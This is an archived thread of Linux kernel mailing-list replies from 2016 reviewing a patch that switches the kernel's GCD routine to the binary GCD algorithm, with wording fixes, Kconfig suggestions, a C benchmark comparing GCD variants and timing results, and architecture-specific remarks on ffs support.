X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "George Spelvin" <linux@horizon.com>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.arc,gmane.linux.ports.openrisc,gmane.linux.ports.sparc
Subject: Re: [patch V4] lib: GCD: Use binary GCD algorithm instead of Euclidean
Date: 7 May 2016 04:41:29 -0400
Lines: 319
Approved: news@gmane.org
Message-ID: <20160507084129.7284.qmail@ns.horizon.com>
References: <1462527763-15301-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1462610520 14825 80.91.229.3 (7 May 2016 08:42:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 May 2016 08:42:00 +0000 (UTC)
Cc: deller@gmx.de, heiko.carstens@de.ibm.com, ink@jurassic.park.msu.ru,
	james.hogan@imgtec.com, jejb@parisc-linux.org, jonas@southpole.se,
	lennox.wu@gmail.com, lftan@altera.com, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	linux-snps-arc@lists.infradead.org, linux@arm.linux.org.uk,
	linux@lists.openrisc.net, liqin.linux@gmail.com,
	mattst88@gmail.com, monstr@monstr.eu,
	nios2-dev@lists.rocketboards.org, ralf@linux-mips.org,
	rth@twiddle.net, schwidefsky@de.ibm.com,
	sparclinux@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
	vgupta@synopsys.com, ysato@users.sourceforge.jp,
	zhaoxiu.zeng@gmail.com
To: akpm@linux-foundation.org, dalias@libc.org, davem@davemloft.net,
	geert@linux-m68k.org, James.Bottomley@HansenPartnership.com,
	jjuran@gmail.com, linux@horizon.com, peterz@infradead.org,
	sam@ravnborg.org, zengzhaoxiu@163.com
Original-X-From: linux-sh-owner@vger.kernel.org Sat May 07 10:41:55 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1ayxoA-0006zs-3t
	for glps-linuxsh-dev@plane.gmane.org; Sat, 07 May 2016 10:41:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751833AbcEGIlg (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Sat, 7 May 2016 04:41:36 -0400
Original-Received: from ns.horizon.com ([71.41.210.147]:47880 "HELO ns.horizon.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751113AbcEGIlc (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Sat, 7 May 2016 04:41:32 -0400
Original-Received: (qmail 7285 invoked by uid 1000); 7 May 2016 04:41:29 -0400
In-Reply-To: <1462527763-15301-1-git-send-email-zengzhaoxiu@163.com>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53996 gmane.linux.ports.alpha:3723 gmane.linux.ports.arm.kernel:498248 gmane.linux.kernel:2216819 gmane.linux.kernel.metag:1082 gmane.linux.ports.mips.general:54462 gmane.linux.ports.parisc:26759 gmane.linux.kernel.arc:997 gmane.linux.ports.openrisc:718 gmane.linux.ports.sparc:22947
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53996>

Nothing critical, but a bit of kibitzing.
(That is slang in the Yiddish language for a person
who offers annoying and unwanted advice.)

> The binary GCD algorithm is based on the following facts:
> 	1. If a and b are all evens, then gcd(a,b) = 2 * gcd(a/2, b/2)
>	2. If a is even and b is odd, then gcd(a,b) = gcd(a/2, b)
>	3. If a and b are all odds, then gcd(a,b) = gcd((a-b)/2, b) = gcd((a+b)/2, b)

1) "even" and "odd" are adjectives.  In English, adjectives to not have
   plural suffixes.  Thus, "they are even" or "they are odd".
2) Although "all" is not exactly wrong, it sounds odd.  Since there are
   exactly two of them it's clearer to say "both".

If I also rephrase the last line to fit into 80 columns, you get:

  The binary GCD algorithm is based on the following facts:
- 	1. If a and b are all evens, then gcd(a,b) = 2 * gcd(a/2, b/2)
+ 	1. If a and b are both even, then gcd(a,b) = 2 * gcd(a/2, b/2)
 	2. If a is even and b is odd, then gcd(a,b) = gcd(a/2, b)
-	3. If a and b are all odds, then gcd(a,b) = gcd((a-b)/2, b) = gcd((a+b)/2, b)
+	3. If both are odd, then gcd(a,b) = gcd((a-b)/2, b) = gcd((a+b)/2, b)

3) Negative config options are always confusing.

Would it be better to call it CONFIG_INEFFICIEBNT_FFS, or even simpler
CONFIG_SLOW_FFS?

Also, you're allowed to add "help" to a non-interactive config option,
and some documentation might be useful.
E.g.

+config CPU_SLOW_FFS
+	def_bool n
+	help
+	  If n, the CPU supports a fast __ffs (__builtin_ctz) operation,
+	  either directly or via a short code sequence using a count
+	  leading zeros or population count instruction.  If y, the
+	  operation is emulated by slower software, such as an unrolled
+	  binary search.
+
+	  This is purely an optimization option; the kernel
+	  will function correctly regardless of how it is set.
+

Your benchmark code doesn't have to have a separate code path if
__x86_64__; rdtsc works on 32-bit code just as well.  paths.  And the
way you subtract the end and start times is unnecessarily complicated.
The C language guarantees that unsigned arithmetic simply wraps modulo
2^bits as expected.

Here's a simplified version:

	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#include <string.h>
	#include <time.h>
	#include <unistd.h>

	#define swap(a, b) \
		do { \
			a ^= b; \
			b ^= a; \
			a ^= b; \
		} while (0)

	/* The Euclidean GCD algorithm */
	unsigned long gcd0(unsigned long a, unsigned long b)
	{
		if (a < b)
			swap(a, b);

		while (b != 0) {
			unsigned long r = a % b;
			a = b;
			b = r;
		}
		return a;
	}

	/* The binary GCD algorithm, using __builtin_ctzl */
	unsigned long gcd1(unsigned long a, unsigned long b)
	{
		unsigned long r = a | b;

		if (!a || !b)
			return r;

		b >>= __builtin_ctzl(b);

		do {
			a >>= __builtin_ctzl(a);

			if (a < b)
				swap(a, b);
			a -= b;
		} while (a);
		return b << __builtin_ctzl(r);
	}

	/* Binary GCD algorithm, even/odd variant, without __builtin_ctzl */
	unsigned long gcd2(unsigned long a, unsigned long b)
	{
		unsigned long r = a | b;

		if (!a || !b)
			return r;

		r &= -r;

		while (!(b & r))
			b >>= 1;

		for (;;) {
			while (!(a & r))
				a >>= 1;
			if (a < b)
				swap(a, b);
			else if (a == b)
				return a;
			a -= b;
			a >>= 1;
			if (a & r)
				a += b;
			a >>= 1;
		}
	}

	/* A variant of gcd1, with early out for gcd = 1 */
	unsigned long gcd3(unsigned long a, unsigned long b)
	{
		unsigned long r = a | b;

		if (!a || !b)
			return r;

		b >>= __builtin_ctzl(b);
		if (b == 1)
			return r & -r;

		for (;;) {
			a >>= __builtin_ctzl(a);
			if (a == b || a == 1)
				return a << __builtin_ctzl(r);

			if (a < b)
				swap(a, b);
			a -= b;
		}
	}

	unsigned long gcd4(unsigned long a, unsigned long b)
	{
		unsigned long r = a | b;

		if (!a || !b)
			return r;

		r &= -r;

		while (!(b & r))
			b >>= 1;
		if (b == r)
			return r;

		for (;;) {
			while (!(a & r))
				a >>= 1;
			if (a == b || a == r)
				return a;

			if (a < b)
				swap(a, b);
			a -= b;
			a >>= 1;
			if (a & r)
				a += b;
			a >>= 1;
		}
	}

	static unsigned long (*gcd_func[])(unsigned long a, unsigned long b) = {
		gcd0, gcd1, gcd2, gcd3, gcd4,
	};

	#define TEST_ENTRIES (int)(sizeof(gcd_func) / sizeof(gcd_func[0]))

	#define rdtscll(val) do { \
		unsigned __a,__d; \
		__asm__ __volatile__("rdtsc" : "=a" (__a), "=d" (__d)); \
		(val) = __a | (unsigned long long)__d << 32; \
	} while(0)

	static unsigned long long
	benchmark_gcd_func(unsigned long (*gcd)(unsigned long, unsigned long),
			   unsigned long a, unsigned long b, unsigned long *res)
	{
		unsigned long long start, end;
		unsigned long gcd_res;

		rdtscll(start);
		gcd_res = gcd(a, b);
		rdtscll(end);

		*res = gcd_res;
		return end - start;
	}

	static inline unsigned long get_rand()
	{
		if (sizeof(long) == 8)
			return (unsigned long)rand() << 32 | rand();
		else
			return rand();
	}

	int main(int argc, char **argv)
	{
		unsigned int seed = time(0);
		int loops = 100;
		int repeats = 1000;
		unsigned long (*res)[TEST_ENTRIES];
		unsigned long long elapsed[TEST_ENTRIES];
		int i, j, k;

		for (;;) {
			int opt = getopt(argc, argv, "n:r:s:");
			/* End condition always first */
			if (opt == -1)
				break;

			switch (opt) {
			case 'n':
				loops = atoi(optarg);
				break;
			case 'r':
				repeats = atoi(optarg);
				break;
			case 's':
				seed = strtoul(optarg, NULL, 10);
				break;
			default:
				/* You won't actually get here. */
				break;
			}
		}

		res = malloc(sizeof(unsigned long) * TEST_ENTRIES * loops);
		memset(elapsed, 0, sizeof(elapsed));

		srand(seed);
		for (j = 0; j < loops; j++) {
			unsigned long a = get_rand();
			/* Do we have args? */
			unsigned long b = argc > optind ? strtoul(argv[optind], NULL, 10) : get_rand();
			unsigned long long min_elapsed[TEST_ENTRIES];
			for (k = 0; k < repeats; k++) {
				for (i = 0; i < TEST_ENTRIES; i++) {
					unsigned long long tmp = benchmark_gcd_func(gcd_func[i], a, b, &res[j][i]);
					if (k == 0 || min_elapsed[i] > tmp)
						min_elapsed[i] = tmp;
				}
			}
			for (i = 0; i < TEST_ENTRIES; i++)
				elapsed[i] += min_elapsed[i];
		}

		for (i = 0; i < TEST_ENTRIES; i++)
			printf("gcd%d: elapsed %llu\n", i, elapsed[i]);

		k = 0;
		srand(seed);
		for (j = 0; j < loops; j++) {
			unsigned long a = get_rand();
			unsigned long b = argc > optind ? strtoul(argv[optind], NULL, 10) : get_rand();
			for (i = 1; i < TEST_ENTRIES; i++) {
				if (res[j][i] != res[j][0])
					break;
			}
			if (i < TEST_ENTRIES) {
				if (k == 0) {
					k = 1;
					fprintf(stderr, "Error:\n");
				}
				fprintf(stderr, "gcd(%lu, %lu): ", a, b);
				for (i = 0; i < TEST_ENTRIES; i++)
					fprintf(stderr, "%ld%s", res[j][i], i < TEST_ENTRIES - 1 ? ", " : "\n");
			}
		}

		if (k == 0)
			fprintf(stderr, "PASS\n");

		free(res);

		return 0;
	}

Here are some more timings, with the same flags as your tests:

First, 32 bit code:
		gcd0	gcd1	gcd2	gcd3	gcd4
Ivy Bridge	3156	1192	1740	1160	1640	PASS
AMD Phenom	7150	2564	2348	2975	2843	PASS
Core 2		4176	2592	4164	2604	3900	PASS
Pentium 4	11492	4784	7632	4852	6452	PASS

And 64-bit (longer times becuase the inputs are larger):
Ivy Bridge	10636	2496	3500	2432	3360	PASS
AMD Phenom	19482	4058	6030	5001	6845	PASS

Looking at those, I'm not sure how much better the gcd3/4 versions are
than gcd1/2.  The difference seems pretty minor and sometimes negative.
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Schwab <schwab@linux-m68k.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.openrisc,gmane.linux.ports.sparc
Subject: Re: [patch V4] lib: GCD: Use binary GCD algorithm instead of Euclidean
Date: Sat, 07 May 2016 12:46:11 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <87d1oyrvrg.fsf@linux-m68k.org>
References: <20160507084129.7284.qmail@ns.horizon.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1462618033 20738 80.91.229.3 (7 May 2016 10:47:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 May 2016 10:47:13 +0000 (UTC)
Cc: akpm@linux-foundation.org, dalias@libc.org, davem@davemloft.net,
	geert@linux-m68k.org, James.Bottomley@HansenPartnership.com,
	jjuran@gmail.com, peterz@infradead.org, sam@ravnborg.org,
	zengzhaoxiu@163.com, deller@gmx.de, heiko.carstens@de.ibm.com,
	ink@jurassic.park.msu.ru, james.hogan@imgtec.com,
	jejb@parisc-linux.org, jonas@southpole.se, lennox.wu@gmail.com,
	lftan@altera.com, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	linux-snps-arc@lists.infradead.org, linux@arm.linux.org.uk,
	linux@lists.openrisc.net, liqin.linux@gmail.com,
	mattst88@gmail.com, monstr@monstr.eu,
	nios2-dev@lists.rocketboards.org, ralf@linux-mips.org,
	rth@twiddle.net, schwidefsky@d
To: "George Spelvin" <linux@horizon.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Sat May 07 12:46:58 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ayzlB-0003Ov-Dh
	for lnx-linux-alpha@plane.gmane.org; Sat, 07 May 2016 12:46:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751566AbcEGKqn (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 7 May 2016 06:46:43 -0400
Original-Received: from mail-out.m-online.net ([212.18.0.10]:34318 "EHLO
	mail-out.m-online.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751480AbcEGKql (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Sat, 7 May 2016 06:46:41 -0400
Original-Received: from frontend01.mail.m-online.net (unknown [192.168.8.182])
	by mail-out.m-online.net (Postfix) with ESMTP id 3r250l4KW1z3hkJ4;
	Sat,  7 May 2016 12:46:15 +0200 (CEST)
Original-Received: from localhost (dynscan1.mnet-online.de [192.168.6.68])
	by mail.m-online.net (Postfix) with ESMTP id 3r250k4Ttdzvh2h;
	Sat,  7 May 2016 12:46:14 +0200 (CEST)
X-Virus-Scanned: amavisd-new at mnet-online.de
Original-Received: from mail.mnet-online.de ([192.168.8.182])
	by localhost (dynscan1.mail.m-online.net [192.168.6.68]) (amavisd-new, port 10024)
	with ESMTP id EYV3jDpO_ILq; Sat,  7 May 2016 12:46:11 +0200 (CEST)
X-Auth-Info: sKaBdMi3SXbRupqNFUGK+Q0LeN63VwsoGE8ynF/ju/Lrygsv+uA2plUzOQmPvymv
Original-Received: from igel.home (ppp-88-217-9-210.dynamic.mnet-online.de [88.217.9.210])
	by mail.mnet-online.de (Postfix) with ESMTPA;
	Sat,  7 May 2016 12:46:11 +0200 (CEST)
Original-Received: by igel.home (Postfix, from userid 1000)
	id 457372C59A0; Sat,  7 May 2016 12:46:11 +0200 (CEST)
X-Yow: PUMP UP th' VOLUME!  My BAGEL TOASTER is in tune with th' UNIVERSAL LIFE
 FORCE!!
In-Reply-To: <20160507084129.7284.qmail@ns.horizon.com> (George Spelvin's
	message of "7 May 2016 04:41:29 -0400")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/25.0.93 (gnu/linux)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3724 gmane.linux.ports.arm.kernel:498250 gmane.linux.kernel:2216832 gmane.linux.kernel.metag:1083 gmane.linux.ports.mips.general:54463 gmane.linux.ports.parisc:26760 gmane.linux.ports.sh.devel:53997 gmane.linux.kernel.arc:998 gmane.linux.ports.openrisc:719 gmane.linux.ports.sparc:22948
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3724>

"George Spelvin" <linux@horizon.com> writes:

> Your benchmark code doesn't have to have a separate code path if
> __x86_64__; rdtsc works on 32-bit code just as well.

Take a look at the CC: list.

Andreas.

-- 
Andreas Schwab, schwab@linux-m68k.org
GPG Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [patch V4] lib: GCD: Use binary GCD algorithm instead of
 Euclidean
Date: Sat, 7 May 2016 13:23:56 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20160507112308.GA2612@ravnborg.org>
References: <1462527763-15301-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1462620277 19524 80.91.229.3 (7 May 2016 11:24:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 May 2016 11:24:37 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux@horizon.com, peterz@infradead.org,
	jjuran@gmail.com, James.Bottomley@HansenPartnership.com,
	geert@linux-m68k.org, dalias@libc.org, davem@davemloft.net,
	Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	James Hogan <james.hogan@imgtec.com>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	Ley Foon Tan <lftan@altera.com>,
	Jonas Bonn <jonas@southpole.se>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Chen Liqin <liqin.linux@gmail.com>,
	Lennox Wu <lennox.wu@gmail.com>, linux-ke
To: zengzhaoxiu@163.com
Original-X-From: linux-m68k-owner@vger.kernel.org Sat May 07 13:24:21 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1az0LM-0007b1-Df
	for glpm-linux-m68k@plane.gmane.org; Sat, 07 May 2016 13:24:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751649AbcEGLYF (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Sat, 7 May 2016 07:24:05 -0400
Original-Received: from asavdk4.altibox.net ([109.247.116.15]:43498 "EHLO
	asavdk4.altibox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751566AbcEGLYE (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Sat, 7 May 2016 07:24:04 -0400
Original-Received: from ravnborg.org (unknown [188.228.89.252])
	(using TLSv1.2 with cipher AES256-SHA (256/256 bits))
	(No client certificate requested)
	by asavdk4.altibox.net (Postfix) with ESMTPS id D11AC802C9;
	Sat,  7 May 2016 13:23:57 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1462527763-15301-1-git-send-email-zengzhaoxiu@163.com>
User-Agent: Mutt/1.5.24 (2015-08-30)
X-CMAE-Score: 0
X-CMAE-Analysis: v=2.1 cv=Fo6lhzfq c=1 sm=1 tr=0
	a=Ij76tQDYWdb01v2+RnYW5w==:117 a=Ij76tQDYWdb01v2+RnYW5w==:17
	a=L9H7d07YOLsA:10 a=9cW_t1CCXrUA:10 a=s5jvgZ67dGcA:10 a=kj9zAlcOel0A:10
	a=wggRaunBjXu032dz5hIA:9 a=CjuIK1q_8ugA:10
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8610 gmane.linux.kernel:2216836 gmane.linux.ports.alpha:3725 gmane.linux.kernel.arc:999 gmane.linux.ports.arm.kernel:498252 gmane.linux.kernel.metag:1084 gmane.linux.ports.mips.general:54464 gmane.linux.ports.parisc:26761 gmane.linux.ports.sh.devel:53998 gmane.linux.ports.sparc:22949
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8610>

> diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> index 57ffaf2..ca675ed 100644
> --- a/arch/sparc/Kconfig
> +++ b/arch/sparc/Kconfig
> @@ -42,6 +42,7 @@ config SPARC
>  	select ODD_RT_SIGACTION
>  	select OLD_SIGSUSPEND
>  	select ARCH_HAS_SG_CHAIN
> +	select CPU_NO_EFFICIENT_FFS
>  
>  config SPARC32
>  	def_bool !64BIT

sparc64 have an efficient ffs implementation.
We use run-time patching to use the proper version
depending on the actual sparc cpu.

As this is determinded at config time, then let the
sparc cpu that has the efficient ffs benefit from this.

In other words - select CPU_NO_EFFICIENT_FFS only for SPARC32.

	Sam

From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zhaoxiu Zeng <zengzhaoxiu@163.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.openrisc,gmane.linux.ports.sparc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [patch V4] lib: GCD: Use binary GCD algorithm instead of Euclidean
Date: Sun, 8 May 2016 20:52:52 +0800
Lines: 59
Approved: news@gmane.org
Message-ID: <042bae7f-51d6-93e8-549d-a38bcb4c9cf5@163.com>
References: <20160507084129.7284.qmail@ns.horizon.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="gbk"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1462712278 18026 80.91.229.3 (8 May 2016 12:57:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 May 2016 12:57:58 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 heiko.carstens@de.ibm.com, linux@lists.openrisc.net,
 sparclinux@vger.kernel.org, lennox.wu@gmail.com, jonas@southpole.se,
 linux-s390@vger.kernel.org, linux@arm.linux.org.uk, ysato@users.sourceforge.jp,
 deller@gmx.de, jejb@parisc-linux.org, mattst88@gmail.com,
 linux-snps-arc@lists.infradead.org, uclinux-h8-devel@lists.sourceforge.jp,
 james.hogan@imgtec.com, liqin.linux@gmail.com, linux-m68k@lists.linux-m68k.org,
 ink@jurassic.park.msu.ru, zhaoxiu.zeng@gmail.com,
 nios2-dev@lists.rocketboards.org, linux-metag@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, rth@twiddle.net, monstr@monstr.eu,
 linux-parisc@vger.kernel.org, vgupta@synopsys.com,
 linux-kernel@vger.kernel.org, ralf@linux-mips.org, linux-alpha@vger.kernel.org,
 schwidefsky@de.ibm.com, lftan@altera.com
To: George Spelvin <linux@horizon.com>, akpm@linux-foundation.org,
 dalias@libc.org, davem@davemloft.net, geert@linux-m68k.org,
 James.Bottomley@HansenPartnership.com, jjuran@gmail.com,
 peterz@infradead.org, sam@ravnborg.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sun May 08 14:57:45 2016
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1azOHI-0003g0-3y
	for gla-linux-snps-arc@m.gmane.org; Sun, 08 May 2016 14:57:44 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1azOHF-0006VI-Ko; Sun, 08 May 2016 12:57:41 +0000
Original-Received: from m12-13.163.com ([220.181.12.13])
 by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
 id 1azOHD-0006UN-61; Sun, 08 May 2016 12:57:40 +0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;
 s=s110527; h=Subject:From:Message-ID:Date:MIME-Version; bh=eleZG
 LSwClBWAjciH5YGH0r+VNUDtF8xf22GFM6GWR4=; b=Z2fhF8eYSLu0yFDTgyf5Z
 2Z9kRoGS+p1zEoLEafUXdwdmxLXYe+IsDdTefQtdIfXRS9PoWU0F6J3qoaunu+5E
 Ws3JBRG+e1WkQ0VJv902zEDqRrtJ5KeiGhBrJKySIooOD2c5q6WYSbWAezuvnTtF
 5+iZFSs060d5YEFVhzgWFg=
Original-Received: from [192.168.2.104] (unknown [14.215.41.127])
 by smtp9 (Coremail) with SMTP id DcCowACHFD2lNi9X4T6rAA--.47048S3;
 Sun, 08 May 2016 20:52:58 +0800 (CST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.0
In-Reply-To: <20160507084129.7284.qmail@ns.horizon.com>
X-CM-TRANSID: DcCowACHFD2lNi9X4T6rAA--.47048S3
X-Coremail-Antispam: 1Uf129KBjvJXoWxuF4UZrWDZr4fGryfCry8Xwb_yoW5AFy7pF
 WDuF4YyrWkAwn7Gw45Ga1UGrsY9r1SkF43Jrn5Zw48AayDuF93XF90ya4jqF9rKr1kJa4a
 va1v9ryDCa4kuaDanT9S1TB71UUUUUUqnTZGkaVYY2UrUUUUjbIjqfuFe4nvWSU5nxnvy2
 9KBjDUYxBIdaVFxhVjvjDU0xZFpf9x07jvmhwUUUUU=
X-Originating-IP: [14.215.41.127]
X-CM-SenderInfo: p2hqw6xkdr5xrx6rljoofrz/xtbBDQpjgFaDm3M0iwAAsm
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160508_055739_569103_C014786B 
X-CRM114-Status: GOOD (  16.51  )
X-Spam-Score: -4.1 (----)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-4.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [220.181.12.13 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -2.1 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (zengzhaoxiu[at]163.com)
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
